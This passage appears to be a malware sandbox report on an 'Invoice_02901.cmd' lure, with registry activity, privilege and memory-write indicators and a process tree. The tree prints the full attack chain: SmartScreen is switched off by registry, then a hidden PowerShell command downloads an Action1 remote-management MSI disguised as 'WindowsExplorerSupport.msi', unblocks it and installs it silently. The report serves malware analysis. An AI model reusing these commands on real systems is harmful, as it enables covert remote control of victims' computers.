Set value (int)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "0"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Anywhere;Trailing"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "{15E16AEC-F2F0-4E52-B0DF-029D11E58E4B}"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "1"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "Near"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\en-US\\sidubm.table"	SearchApp.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "SW"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\SR\\it-IT-N\\L1040"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "40C"	SearchApp.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4728	powershell.exe
4728	powershell.exe
1768	powershell.exe
1768	powershell.exe
3476	msiexec.exe
3476	msiexec.exe
2416	powershell.exe
2416	powershell.exe
2416	powershell.exe
1408	powershell.exe
1408	powershell.exe
1408	powershell.exe
620	powershell.exe
620	powershell.exe
620	powershell.exe
620	powershell.exe
620	powershell.exe
620	powershell.exe
3848	action1_agent.exe
3848	action1_agent.exe
2748	powershell.exe
2748	powershell.exe
768	powershell.exe
768	powershell.exe
768	powershell.exe
768	powershell.exe
768	powershell.exe
2968	powershell.exe
2968	powershell.exe
1784	powershell.exe
1784	powershell.exe
1784	powershell.exe
1784	powershell.exe
1784	powershell.exe
5920	powershell.exe
5920	powershell.exe
4896	powershell.exe
4896	powershell.exe
4784	powershell.exe
4784	powershell.exe
5268	powershell.exe
5268	powershell.exe
1872	powershell.exe
1872	powershell.exe
2344	powershell.exe
2344	powershell.exe
4596	powershell.exe
4596	powershell.exe
5192	powershell.exe
5192	powershell.exe
816	powershell.exe
816	powershell.exe
5464	powershell.exe
5464	powershell.exe
5464	powershell.exe
3676	powershell.exe
3676	powershell.exe
5672	powershell.exe
5672	powershell.exe
2636	powershell.exe
2636	powershell.exe
2524	powershell.exe
2524	powershell.exe
2676	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4676	taskkill.exe
Token: SeShutdownPrivilege	4744	explorer.exe
Token: SeCreatePagefilePrivilege	4744	explorer.exe
Token: SeShutdownPrivilege	4744	explorer.exe
Token: SeCreatePagefilePrivilege	4744	explorer.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeShutdownPrivilege	4744	explorer.exe
Token: SeCreatePagefilePrivilege	4744	explorer.exe
Token: SeShutdownPrivilege	4744	explorer.exe
Token: SeCreatePagefilePrivilege	4744	explorer.exe
Token: SeShutdownPrivilege	4744	explorer.exe
Token: SeCreatePagefilePrivilege	4744	explorer.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeShutdownPrivilege	3228	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3228	msiexec.exe
Token: SeSecurityPrivilege	3476	msiexec.exe
Token: SeCreateTokenPrivilege	3228	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3228	msiexec.exe
Token: SeLockMemoryPrivilege	3228	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3228	msiexec.exe
Token: SeMachineAccountPrivilege	3228	msiexec.exe
Token: SeTcbPrivilege	3228	msiexec.exe
Token: SeSecurityPrivilege	3228	msiexec.exe
Token: SeTakeOwnershipPrivilege	3228	msiexec.exe
Token: SeLoadDriverPrivilege	3228	msiexec.exe
Token: SeSystemProfilePrivilege	3228	msiexec.exe
Token: SeSystemtimePrivilege	3228	msiexec.exe
Token: SeProfSingleProcessPrivilege	3228	msiexec.exe
Token: SeIncBasePriorityPrivilege	3228	msiexec.exe
Token: SeCreatePagefilePrivilege	3228	msiexec.exe
Token: SeCreatePermanentPrivilege	3228	msiexec.exe
Token: SeBackupPrivilege	3228	msiexec.exe
Token: SeRestorePrivilege	3228	msiexec.exe
Token: SeShutdownPrivilege	3228	msiexec.exe
Token: SeDebugPrivilege	3228	msiexec.exe
Token: SeAuditPrivilege	3228	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3228	msiexec.exe
Token: SeChangeNotifyPrivilege	3228	msiexec.exe
Token: SeRemoteShutdownPrivilege	3228	msiexec.exe
Token: SeUndockPrivilege	3228	msiexec.exe
Token: SeSyncAgentPrivilege	3228	msiexec.exe
Token: SeEnableDelegationPrivilege	3228	msiexec.exe
Token: SeManageVolumePrivilege	3228	msiexec.exe
Token: SeImpersonatePrivilege	3228	msiexec.exe
Token: SeCreateGlobalPrivilege	3228	msiexec.exe
Token: SeRestorePrivilege	3476	msiexec.exe
Token: SeTakeOwnershipPrivilege	3476	msiexec.exe
Token: SeShutdownPrivilege	4744	explorer.exe
Token: SeCreatePagefilePrivilege	4744	explorer.exe
Token: SeShutdownPrivilege	4744	explorer.exe
Token: SeCreatePagefilePrivilege	4744	explorer.exe
Token: SeShutdownPrivilege	4744	explorer.exe
Token: SeCreatePagefilePrivilege	4744	explorer.exe
Token: SeShutdownPrivilege	4744	explorer.exe
Token: SeCreatePagefilePrivilege	4744	explorer.exe
Token: SeRestorePrivilege	3476	msiexec.exe
Token: SeTakeOwnershipPrivilege	3476	msiexec.exe
Token: SeRestorePrivilege	3476	msiexec.exe
Token: SeTakeOwnershipPrivilege	3476	msiexec.exe
Token: SeShutdownPrivilege	4744	explorer.exe
Token: SeCreatePagefilePrivilege	4744	explorer.exe
Token: SeShutdownPrivilege	4744	explorer.exe
Token: SeCreatePagefilePrivilege	4744	explorer.exe
Token: SeShutdownPrivilege	4744	explorer.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe
4744	explorer.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
5472	StartMenuExperienceHost.exe
4744	explorer.exe
384	SearchApp.exe
4744	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4408 wrote to memory of 4584	4408	cmd.exe	84
PID 4584 wrote to memory of 4644	4584	net.exe	85
PID 4408 wrote to memory of 4468	4408	cmd.exe	86
PID 4408 wrote to memory of 4676	4408	cmd.exe	87
PID 4408 wrote to memory of 4744	4408	cmd.exe	89
PID 4408 wrote to memory of 4728	4408	cmd.exe	90
PID 4408 wrote to memory of 1768	4408	cmd.exe	95
PID 4408 wrote to memory of 3228	4408	cmd.exe	96
PID 3476 wrote to memory of 3676	3476	msiexec.exe	101
PID 3476 wrote to memory of 4928	3476	msiexec.exe	107
PID 3848 wrote to memory of 2416	3848	action1_agent.exe	109
PID 3848 wrote to memory of 1408	3848	action1_agent.exe	119
PID 1408 wrote to memory of 1888	1408	powershell.exe	123
PID 3848 wrote to memory of 620	3848	action1_agent.exe	124
PID 3848 wrote to memory of 2748	3848	action1_agent.exe	127
PID 2748 wrote to memory of 1348	2748	powershell.exe	129
PID 3848 wrote to memory of 768	3848	action1_agent.exe	130
PID 3848 wrote to memory of 2968	3848	action1_agent.exe	132
PID 2968 wrote to memory of 5392	2968	powershell.exe	134
PID 3848 wrote to memory of 1784	3848	action1_agent.exe	135
PID 3848 wrote to memory of 5920	3848	action1_agent.exe	137
PID 3848 wrote to memory of 4896	3848	action1_agent.exe	139
PID 3848 wrote to memory of 4784	3848	action1_agent.exe	141
PID 3848 wrote to memory of 5268	3848	action1_agent.exe	143
PID 3848 wrote to memory of 1872	3848	action1_agent.exe	145
PID 3848 wrote to memory of 2344	3848	action1_agent.exe	147
PID 3848 wrote to memory of 4596	3848	action1_agent.exe	149
PID 3848 wrote to memory of 5192	3848	action1_agent.exe	151
PID 3848 wrote to memory of 816	3848	action1_agent.exe	153
PID 3848 wrote to memory of 5464	3848	action1_agent.exe	155
PID 3848 wrote to memory of 3676	3848	action1_agent.exe	157
PID 3848 wrote to memory of 5672	3848	action1_agent.exe	159
PID 3848 wrote to memory of 2636	3848	action1_agent.exe	161
PID 3848 wrote to memory of 2524	3848	action1_agent.exe	163
PID 3848 wrote to memory of 2676	3848	action1_agent.exe	165
PID 2676 wrote to memory of 3420	2676	powershell.exe	167
PID 2676 wrote to memory of 4256	2676	powershell.exe	168
PID 2676 wrote to memory of 1948	2676	powershell.exe	169
PID 2676 wrote to memory of 4516	2676	powershell.exe	170
PID 2676 wrote to memory of 4740	2676	powershell.exe	171
PID 2676 wrote to memory of 2668	2676	powershell.exe	172
PID 2676 wrote to memory of 3760	2676	powershell.exe	173
PID 2676 wrote to memory of 1612	2676	powershell.exe	174
PID 2676 wrote to memory of 4696	2676	powershell.exe	175
PID 2676 wrote to memory of 3248	2676	powershell.exe	176
PID 2676 wrote to memory of 5204	2676	powershell.exe	177
PID 2676 wrote to memory of 1676	2676	powershell.exe	178
PID 2676 wrote to memory of 5840	2676	powershell.exe	179
PID 2676 wrote to memory of 3216	2676	powershell.exe	180
PID 2676 wrote to memory of 3928	2676	powershell.exe	181
PID 2676 wrote to memory of 4860	2676	powershell.exe	182
PID 2676 wrote to memory of 208	2676	powershell.exe	183
PID 2676 wrote to memory of 764	2676	powershell.exe	184
PID 2676 wrote to memory of 4952	2676	powershell.exe	185
PID 2676 wrote to memory of 4700	2676	powershell.exe	186
PID 2676 wrote to memory of 620	2676	powershell.exe	187
PID 2676 wrote to memory of 5572	2676	powershell.exe	188
PID 2676 wrote to memory of 4684	2676	powershell.exe	189
PID 2676 wrote to memory of 3472	2676	powershell.exe	190
PID 2676 wrote to memory of 720	2676	powershell.exe	191
PID 2676 wrote to memory of 1724	2676	powershell.exe	192
PID 2676 wrote to memory of 3160	2676	powershell.exe	193
PID 2676 wrote to memory of 5068	2676	powershell.exe	194
PID 2676 wrote to memory of 1484	2676	powershell.exe	195

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Remittance\Invoice_02901.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4408
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4644
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f
  2⤵
  PID:4468
- C:\Windows\system32\taskkill.exe
  taskkill /f /im explorer.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4676
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Enumerates connected drives
  - Checks SCSI registry key(s)
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:4744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://app.action1.com/agent/9336d974-4afe-11f1-872f-e156ea9b9f48/Windows/agent(My_Organization).msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi' -UseBasicParsing"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1768
- C:\Windows\system32\msiexec.exe
  msiexec /i "C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi" /qn /norestart
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3228

C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:384

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3476
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 698BEC48B9E2C74E35B49D2D1F84ED83
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3676
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 77B1C6C8CF1E52473E575A2766083C18 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:4928

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:5472

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3848
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2416
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1888
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:620
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1348
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:768
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5392
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1784
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5920
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4896
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4784
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5268
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1872
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2344
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4596
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5192
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:816
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5464
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3676
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5672
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2636
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2524
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 74.178.240.51
    3⤵
    PID:3420
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 134.33.185.97
    3⤵
    PID:4256
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 130.213.27.180
    3⤵
    PID:1948
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 74.178.240.51
    3⤵
    PID:4516
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 134.33.185.97
    3⤵
    PID:4740
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 74.178.240.51
    3⤵
    PID:2668
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 134.33.185.97
    3⤵
    PID:3760
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 74.178.240.51
    3⤵
    PID:1612
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 20.190.160.64
    3⤵
    PID:4696
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 204.79.197.203
    3⤵
    PID:3248
- - C:\Windows\system32\nslookup.exe
